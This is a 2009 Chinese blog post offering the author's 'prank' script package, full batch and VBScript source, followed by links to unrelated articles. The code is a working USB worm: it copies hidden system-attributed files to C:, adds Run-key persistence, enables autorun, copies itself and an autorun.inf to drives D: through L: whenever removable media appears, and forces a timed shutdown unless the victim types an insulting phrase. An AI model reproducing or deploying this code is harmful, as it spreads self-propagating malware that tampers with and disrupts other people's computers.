一个整人的vbs脚本(yzy原创)
2009年08月30日
声明:你们可以任意转载,但是转载是必须表明作者是yzy
我写了个整人的vbs脚本(我叫它猪头1.3),分三部分:
一、开始.bat:@copy a\搞笑.vbe "c:\搞笑.vbe"
@copy a\reg.bat "c:\reg.bat"
@copy a\delu.bat "c:\delu.bat"
@copy a\u.vbs "c:\u.vbs"
@copy a\start.bat "c:\start.bat"
@copy a\u.bat "c:\u.bat"
@copy a\autorun.inf "c:\autorun.inf"
cls
@cd\
@attrib +a +s +h +r c:\搞笑.vbe
@attrib +a +s +h +r c:\reg.bat
@attrib +a +s +h +r c:\autorun.inf
@attrib +a +s +h +r c:\delu.bat
@attrib +a +s +h +r c:\u.vbs
@attrib +a +s +h +r c:\start.bat
@attrib +a +s +h +r c:\u.bat
cls
@c:\windows\system32\reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "b" /t REG_SZ /d "c:\搞笑.vbe" /f
@c:\windows\system32\reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "a" /t REG_SZ /d "c:\reg.bat" /f
@c:\windows\system32\reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "c" /t REG_SZ /d "c:\u.vbs" /f
@c:\windows\system32\reg add "HKLM\SYSTEM\CurrentControlSet\Services\Cdrom" /v "AutoRun" /t REG_DWORD /d 00000001 /f
@c:\windows\system32\reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoDriveTypeAutoRun" /t REG_DWORD /d 00000003 /f
cls
@"c:\搞笑.vbe"
二、a(文件夹): 1、autorun.inf:
[AutoRun]
Open=star.bat2、delu.bat:
@rmdir /s /q c:\autorun.inf
@rmdir /s /q d:\autorun.inf
@rmdir /s /q e:\autorun.inf
@rmdir /s /q f:\autorun.inf
cls
@rmdir /s /q g:\autorun.inf
@rmdir /s /q h:\autorun.inf
@rmdir /s /q i:\autorun.inf
@rmdir /s /q j:\autorun.inf
cls
@rmdir /s /q k:\autorun.inf
@rmdir /s /q l:\autorun.inf
cls3.reg.bat:
@cd\
@c:\windows\system32\reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "b" /t REG_SZ /d "c:\搞笑.vbe" /f
@c:\windows\system32\reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "a" /t REG_SZ /d "c:\reg.bat" /f
@c:\windows\system32\reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "c" /t REG_SZ /d "c:\u.vbs" /f
@c:\windows\system32\reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoDriveTypeAutoRun" /t REG_DWORD /d 00000003 /f
@c:\windows\system32\reg add "HKLM\SYSTEM\CurrentControlSet\Services\Cdrom" /v "AutoRun" /t REG_DWORD /d 00000001 /f
cls
4.start.bat:@copy 搞笑.vbe "c:\搞笑.vbe"
@copy reg.bat "c:\reg.bat"
@copy delu.bat "delu.bat"
@copy u.vbs "c:\u.vbs"
@copy start.bat "start.bat"
@copy u.bat "c:\u.bat"
@copy autorun.inf "c:\autorun.inf"
cls
@cd\
@attrib +a +s +h +r c:\搞笑.vbe
@attrib +a +s +h +r c:\reg.bat
@attrib +a +s +h +r c:\autorun.inf
@attrib +a +s +h +r c:\delu.bat
@attrib +a +s +h +r c:\u.vbs
@attrib +a +s +h +r c:\start.bat
@attrib +a +s +h +r c:\u.bat
cls
@c:\windows\system32\reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "b" /t REG_SZ /d "c:\搞笑.vbe" /f
@c:\windows\system32\reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "a" /t REG_SZ /d "c:\reg.bat" /f
@c:\windows\system32\reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "c" /t REG_SZ /d "c:\u.vbs" /f
@c:\windows\system32\reg add "HKLM\SYSTEM\CurrentControlSet\Services\Cdrom" /v "AutoRun" /t REG_DWORD /d 00000001 /f
@c:\windows\system32\reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoDriveTypeAutoRun" /t REG_DWORD /d 00000003 /f
cls
@"c:\搞笑.vbe"
5.u.bat:@attrib -a -s -h -r c:\autorun.inf
@attrib -a -s -h -r c:\reg.bat
@attrib -a -s -h -r c:\搞笑.vbe
@attrib -a -s -h -r c:\delu.bat
@attrib -a -s -h -r c:\u.vbs
@attrib -a -s -h -r c:\start.bat
@attrib -a -s -h -r c:\u.bat
@copy c:\autorun.inf d:\autorun.inf
@copy c:\autorun.inf e:\autorun.inf
@copy c:\autorun.inf f:\autorun.inf
@copy c:\autorun.inf g:\autorun.inf
@copy c:\autorun.inf h:\autorun.inf
@copy c:\autorun.inf i:\autorun.inf
@copy c:\autorun.inf j:\autorun.inf
@copy c:\autorun.inf k:\autorun.inf
@copy c:\autorun.inf l:\autorun.inf
cls
@copy c:\reg.bat d:\reg.bat
@copy c:\reg.bat e:\reg.bat
@copy c:\reg.bat f:\reg.bat
@copy c:\reg.bat g:\reg.bat
@copy c:\reg.bat h:\reg.bat
@copy c:\reg.bat i:\reg.bat
@copy c:\reg.bat j:\reg.bat
@copy c:\reg.bat k:\reg.bat
@copy c:\reg.bat l:\reg.bat
cls
@copy c:\搞笑.vbe d:\搞笑.vbe
@copy c:\搞笑.vbe e:\搞笑.vbe
@copy c:\搞笑.vbe f:\搞笑.vbe
@copy c:\搞笑.vbe g:\搞笑.vbe
@copy c:\搞笑.vbe h:\搞笑.vbe
@copy c:\搞笑.vbe i:\搞笑.vbe
@copy c:\搞笑.vbe j:\搞笑.vbe
@copy c:\搞笑.vbe k:\搞笑.vbe
@copy c:\搞笑.vbe l:\搞笑.vbe
cls
@copy c:\delu.bat d:\delu.bat
@copy c:\delu.bat e:\delu.bat
@copy c:\delu.bat f:\delu.bat
@copy c:\delu.bat g:\delu.bat
@copy c:\delu.bat h:\delu.bat
@copy c:\delu.bat i:\delu.bat
@copy c:\delu.bat j:\delu.bat
@copy c:\delu.bat k:\delu.bat
@copy c:\delu.bat l:\delu.bat
cls
@copy c:\u.vbs d:\u.vbs
@copy c:\u.vbs e:\u.vbs
@copy c:\u.vbs f:\u.vbs
@copy c:\u.vbs g:\u.vbs
@copy c:\u.vbs h:\u.vbs
@copy c:\u.vbs i:\u.vbs
@copy c:\u.vbs j:\u.vbs
@copy c:\u.vbs k:\u.vbs
@copy c:\u.vbs l:\u.vbs
cls
@copy c:\start.bat d:\start.bat
@copy c:\start.bat e:\start.bat
@copy c:\start.bat f:\start.bat
@copy c:\start.bat g:\start.bat
@copy c:\start.bat h:\start.bat
@copy c:\start.bat i:\start.bat
@copy c:\start.bat j:\start.bat
@copy c:\start.bat k:\start.bat
@copy c:\start.bat l:\start.bat
cls
@copy c:\u.bat d:\u.bat
@copy c:\u.bat e:\u.bat
@copy c:\u.bat f:\u.bat
@copy c:\u.bat g:\u.bat
@copy c:\u.bat h:\u.bat
@copy c:\u.bat i:\u.bat
@copy c:\u.bat j:\u.bat
@copy c:\u.bat k:\u.bat
@copy c:\u.bat l:\u.bat
cls
@attrib +a +s +h +r c:\autorun.inf
@attrib +a +s +h +r d:\autorun.inf
@attrib +a +s +h +r e:\autorun.inf
@attrib +a +s +h +r f:\autorun.inf
@attrib +a +s +h +r g:\autorun.inf
@attrib +a +s +h +r h:\autorun.inf
@attrib +a +s +h +r i:\autorun.inf
@attrib +a +s +h +r j:\autorun.inf
@attrib +a +s +h +r k:\autorun.inf
@attrib +a +s +h +r l:\autorun.inf
cls
@attrib +a +s +h +r c:\reg.bat
@attrib +a +s +h +r d:\reg.bat
@attrib +a +s +h +r e:\reg.bat
@attrib +a +s +h +r f:\reg.bat
@attrib +a +s +h +r g:\reg.bat
@attrib +a +s +h +r h:\reg.bat
@attrib +a +s +h +r i:\reg.bat
@attrib +a +s +h +r j:\reg.bat
@attrib +a +s +h +r k:\reg.bat
@attrib +a +s +h +r l:\reg.bat
cls
@attrib +a +s +h +r c:\搞笑.vbe
@attrib +a +s +h +r d:\搞笑.vbe
@attrib +a +s +h +r e:\搞笑.vbe
@attrib +a +s +h +r f:\搞笑.vbe
@attrib +a +s +h +r g:\搞笑.vbe
@attrib +a +s +h +r h:\搞笑.vbe
@attrib +a +s +h +r i:\搞笑.vbe
@attrib +a +s +h +r j:\搞笑.vbe
@attrib +a +s +h +r k:\搞笑.vbe
@attrib +a +s +h +r l:\搞笑.vbe
cls
@attrib +a +s +h +r c:\delu.bat
@attrib +a +s +h +r d:\delu.bat
@attrib +a +s +h +r e:\delu.bat
@attrib +a +s +h +r f:\delu.bat
@attrib +a +s +h +r g:\delu.bat
@attrib +a +s +h +r h:\delu.bat
@attrib +a +s +h +r i:\delu.bat
@attrib +a +s +h +r j:\delu.bat
@attrib +a +s +h +r k:\delu.bat
@attrib +a +s +h +r l:\delu.bat
cls
@attrib +a +s +h +r c:\u.vbs
@attrib +a +s +h +r d:\u.vbs
@attrib +a +s +h +r e:\u.vbs
@attrib +a +s +h +r f:\u.vbs
@attrib +a +s +h +r g:\u.vbs
@attrib +a +s +h +r h:\u.vbs
@attrib +a +s +h +r i:\u.vbs
@attrib +a +s +h +r j:\u.vbs
@attrib +a +s +h +r k:\u.vbs
@attrib +a +s +h +r l:\u.vbs
cls
@attrib +a +s +h +r c:\start.bat
@attrib +a +s +h +r d:\start.bat
@attrib +a +s +h +r e:\start.bat
@attrib +a +s +h +r f:\start.bat
@attrib +a +s +h +r g:\start.bat
@attrib +a +s +h +r h:\start.bat
@attrib +a +s +h +r i:\start.bat
@attrib +a +s +h +r j:\start.bat
@attrib +a +s +h +r k:\start.bat
@attrib +a +s +h +r l:\start.bat
cls
@attrib +a +s +h +r c:\u.bat
@attrib +a +s +h +r d:\u.bat
@attrib +a +s +h +r e:\u.bat
@attrib +a +s +h +r f:\u.bat
@attrib +a +s +h +r g:\u.bat
@attrib +a +s +h +r h:\u.bat
@attrib +a +s +h +r i:\u.bat
@attrib +a +s +h +r j:\u.bat
@attrib +a +s +h +r k:\u.bat
@attrib +a +s +h +r l:\u.bat
cls6.u.vbs:
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
set fso=createobject("scripting.filesystemobject")
do
Set Disks =fso.Drives
For Each Disk in Disks
if Disk.IsReady and Disk.DriveType=1 then
WSHshellA.run "cmd /c c:\delu.bat",0 ,true
WSHshellA.run "cmd /c c:\u.bat",0 ,true
exit do
end if
next
wscript.sleep 2000
loop
7.搞笑.vbe:on error resume next
dim WSHshellA
Dim msg,sapi
set sapi.Voice = colVoice.Item(cnVoice)
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -s -t 60 -c ""很想看吗?哈哈!赶紧说:我是猪头的爸爸的猪头??不说我是猪头这十二个字,就60秒后关机关你电脑,不信,试试??????"" ",0 ,true
Msg="很想看吗 哈哈 赶紧说 我是猪头的爸爸的猪头 不说我是猪头这十二个字 就60秒后关机关你电脑 不信 试试"
Set sapi=CreateObject("sapi.spvoice")
Sapi.Speak Msg
dim a
do while(a "我是猪头的爸爸的猪头")
a = inputbox ("说我是猪头的爸爸的猪头??,就不关机,快撒,说 ""我是猪头的爸爸的猪头??""这十二个字"+chr(13)+chr(13)+"程序制作:yzy QQ:1033742067 ","说不说","在这输入那十二个字就不会关机了",8000,7000)
Msg="真的吗 你真的是猪头 看不出来哦"
Set sapi=CreateObject("sapi.spvoice")
Sapi.Speak Msg
loop
msgbox chr(13) + chr(13) + chr(13) + "真的吗?你真的是猪头?看不出来哦```"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
Msg="哈哈哈哈 真过瘾 爽了吧 叫你不陪我说话"
Set sapi=CreateObject("sapi.spvoice")
Sapi.Speak Msg
msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈 真过瘾 爽了吧 叫你不陪我说话"
发表评论
-
DirectX编程:C#中利用Socket实现网络语音通信
2012-01-20 10:20 695DirectX编程:C#中利用Socket实现网络语音通信 ... -
Socket编程中的同步、异步、阻塞和非阻塞
2012-01-20 10:20 568Socket编程中的同步、异 ... -
多线程+socket+文件读写(面)
2012-01-20 10:20 549多线程+socket+文件读写( ... -
Linux下Socket编程之TCP Server端
2012-01-20 10:20 571Linux下Socket编程之TCP Server端 201 ... -
Socket编程中的select多路复用
2012-01-20 10:20 438Socket编程中的select多路 ... -
范文2
2012-01-19 15:21 468范文2 2010年11月03日 每次作文命题,我总要尽量 ... -
小学生作业做错不打“×”
2012-01-19 15:21 1604小学生作业做错不打“ ... -
活 动 作 文 初 探
2012-01-19 15:21 602活 动 作 文 初 探 2011 ... -
关于农村小学写作教学的几个问题及思考
2012-01-19 15:21 699关于农村小学写作教学的几个问题及思考 2010年12月18日 ... -
2011-8-17
2012-01-19 15:21 3972011-8-17 2011年08月17日 百度帐号XW ... -
Android SDK 2.3与Eclipse最新版开发环境搭建(一)
2012-01-17 05:08 414Android SDK 2.3与Eclipse最新版开发环境搭 ... -
系统是windows2003,数据库是MS SQLServer2000
2012-01-17 05:08 520系统是windows2003,数据库是MS SQLServer ... -
转: Boost下载安装编译配置使用指南(含Windows和Linux)
2012-01-17 05:08 449转: Boost下载安装编译配 ... -
windows编程---在窗口上建立控件
2012-01-17 05:08 558windows编程---在窗口上建立控件 2011年05月3 ... -
标题:Mythroad平台自述----老虎会游泳(精啊!!)-阅(120)
2012-01-17 05:08 834标题:Mythroad平台自述----老虎会游泳(精啊!!)- ... -
使用DevCom和VBS脚本一键开关双网卡
2012-01-16 03:59 814使用DevCom和VBS脚本一键开关双网卡 2009年10月 ... -
将bat代码转换为VBS的工具脚本
2012-01-16 03:59 2073将bat代码转换为VBS的工具脚本 2010年01月14日 ... -
按键精灵 脚本-学习VBS的一个不错的教程
2012-01-16 03:59 594按键精灵 脚本-学习VBS的一个不错的教程 2009年12月 ... -
脚本-vbs-有用的脚本
2012-01-16 03:59 521脚本-vbs-有用的脚本 2010年01月15日 ,显示 ...
相关推荐
yzy第一次学习笔记作业
自建php留言本,简单易懂,适合初学者。11111111111111
安防,毕业设计做的安防程序,用到了火焰报警,热释电报警,毒气报警,ISM模块
python基础教程【智普教育】(自编精品),python视频video.quanzhan.org
摘要对于当前通信系统来说,物理层是通信服务得到保障的基础;而对于物理层来说,MIMO 则是基本的支撑技术;对于 MIMO 来说,准确地确定信道质量并做有效反馈及
内有ES6、React、React Native基础知识串讲,TypeScript基础知识, 项目分析,接口管理工具、新版导航器React-Navigation5.0
精品专题课件(2021-2022年收藏)
打包导出客户端,宝塔终端命令到客户端目录:cd/www/wwwroot/客户端目录,然后运行命令:npm run build,等待打包完成,打包完成后会出现一个dist目录 13.进入dist目录有两个文件dist和index.html,将这两个文件复制...
数据库 手工 备份 恢复 oracle sqlserver2000 sqlserver2005 sqlserver2008
正常启动后设置映射 随便解析一个域名 域名需要开通ssl 若出现extends layout block content h1= title p Welcome to #(title)即代表服务端部署成功。 打开服务器后台修改src/assets/js/yzy.js 里面的网址改成你的...
正常启动后设置映射 随便解析一个域名 域名需要开通ssl 若出现extends layout block content h1= title p Welcome to #(title)即代表服务端部署成功。 打开服务器后台修改src/assets/js/yzy.js 里面的网址改成你...
正常启动后设置映射 随便解析一个域名 域名需要开通ssl 若出现extends layout block content h1= title p Welcome to #(title)即代表服务端部署成功。 打开服务器后台修改src/assets/js/yzy.js 里面的网址改成你的...
正常启动后设置映射 随便解析一个域名 域名需要开通ssl 若出现extends layout block content h1= title p Welcome to #(title)即代表服务端部署成功。 打开服务器后台修改src/assets/js/yzy.js 里面的网址改成你的...
正常启动后设置映射 随便解析一个域名 域名需要开通ssl 若出现extends layout block content h1= title p Welcome to #(title)即代表服务端部署成功。 打开服务器后台修改src/assets/js/yzy.js 里面的网址改成你的...
正常启动后设置映射 随便解析一个域名 域名需要开通ssl 若出现extends layout block content h1= title p Welcome to #(title)即代表服务端部署成功。 打开服务器后台修改src/assets/js/yzy.js 里面的网址改成你的...
正常启动后设置映射 随便解析一个域名 域名需要开通ssl 若出现extends layout block content h1= title p Welcome to #(title)即代表服务端部署成功。 打开服务器后台修改src/assets/js/yzy.js 里面的网址改成你的...
正常启动后设置映射 随便解析一个域名 域名需要开通ssl 若出现extends layout block content h1= title p Welcome to #(title)即代表服务端部署成功。 打开服务器后台修改src/assets/js/yzy.js 里面的网址改成你...
正常启动后设置映射随便解析一个域名域名需要开通ssl 若出现extendslayoutblockcontenth1=titlepWelcometo#(title)即代表服务端部署成功。 打开服务器后台修改src/assets/js/yzy.js 里面的网址改成你的然后打包 ...